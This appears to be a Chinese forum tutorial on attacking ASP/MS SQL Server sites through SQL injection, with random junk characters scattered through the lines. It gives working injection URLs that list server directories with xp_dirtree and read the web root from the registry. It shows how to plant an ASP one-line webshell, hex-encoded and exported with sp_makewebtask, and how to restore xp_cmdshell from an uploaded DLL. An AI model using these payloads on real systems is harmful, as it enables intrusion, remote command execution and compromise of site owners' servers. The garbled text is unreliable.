好,我们exec master..xp_dirtree'd:/test'. q! f, y1 [0 X/ x+ y
假设我们在test里有两个文件夹test1和test2在test1里又有test3
' p" i3 {& v4 s! x2 Y1 u# g结果显示
+ Z' R- m! b$ r# t2 c9 |
4 _; Q) }' ?5 P3 c, ]$ t# I0 m9 asubdirectory depth* W# r. R* Z1 v, E1 M. |/ g
test1 1
' R4 I9 O; x+ {9 Q! f6 b% l f8 Ntest3 2
. @. P3 A( b* \; A% i' n4 Atest2 1; Q+ b8 ]' q5 z
7 q1 C C; B' I8 P; @' H; V$ d哈哈发现没有那个depth就是目录的级数( {$ P9 o* K% L- s
ok了,知道怎么办了吧
5 P, z/ Y) `6 i4 B m0 ?# C A. K F1 `
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
, h- N! V4 u1 W6 ?, G Bhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- # Y' V+ l- x4 L( _
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
- d' H8 W7 @ `) P$ A& w( @* f( |1 e, F5 r
只要加上id=1,就是第一级目录 。
: Z9 T4 P; z5 S0 I5 k. [( w+ N4 L
$ k( C/ l* D( C% y' u
通过注册表读网站路径:
. l+ j+ j3 ~8 E Z# a- K
4 T4 E9 f! n: `0 N) P1.;create table [dbo].[cyfd] ([gyfd][char](255));
# P7 `6 w+ E$ q# k0 b
s9 P. F: G0 j8 c2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--0 t+ Z3 b2 ^& g
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--* }7 k+ }; ?5 U- _9 a
. Q$ D( a4 l/ F6 ~* e3 ?
3.and 1=(select count(*) from 临时表 where 临时字段名>1)0 N) B# |7 R" S
and 1=(select count(*) from cyfd where gyfd > 1)
4 @! Y, I! }( N# d- x* J! D这样IE报错,就把刚才插进去的Web路径的值报出来了3 p+ g! a8 I0 H/ i; P
' S/ O1 B- z9 j. I {4.drop table cyfd;-- 删除临时表! j$ {( j" S9 j) O
# A: d3 u( L0 P9 e; b3 u获得webshell方法:
) k0 [+ A+ B1 n$ i1.create table cmd (a image)-- \**cmd是创建的临时表
) M- @- I' l _1 H3 {1 g
% @3 U# W, K& h. u$ V- s2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话2 X+ p1 q/ a7 v' L4 K: {( M0 T& C
& \7 Q% M0 N$ Q7 [7 k8 y
$ `) U+ Y" Z, A5 u$ A6 ^+ o3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'( M9 i/ ^; G8 M. b
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
" @9 a& d( f/ j+ Q7 s1 a+ u# x, ?( u- [: S1 E6 m
4.drop table cmd;-- 删除cmd临时表
) W+ `7 Y1 I7 c- o$ J1 \ _4 G2 J$ b& E Q7 u
恢复xp_cmdshell方法之一:
2 k* {8 Y8 d; @6 f% d3 H我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
: b1 H, x' d9 X2 x8 C( Nhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
) A0 z6 z/ s/ {; A恢复,支持绝对路径的恢复哦。:)
' c% T$ r* b! J6 h- q" s |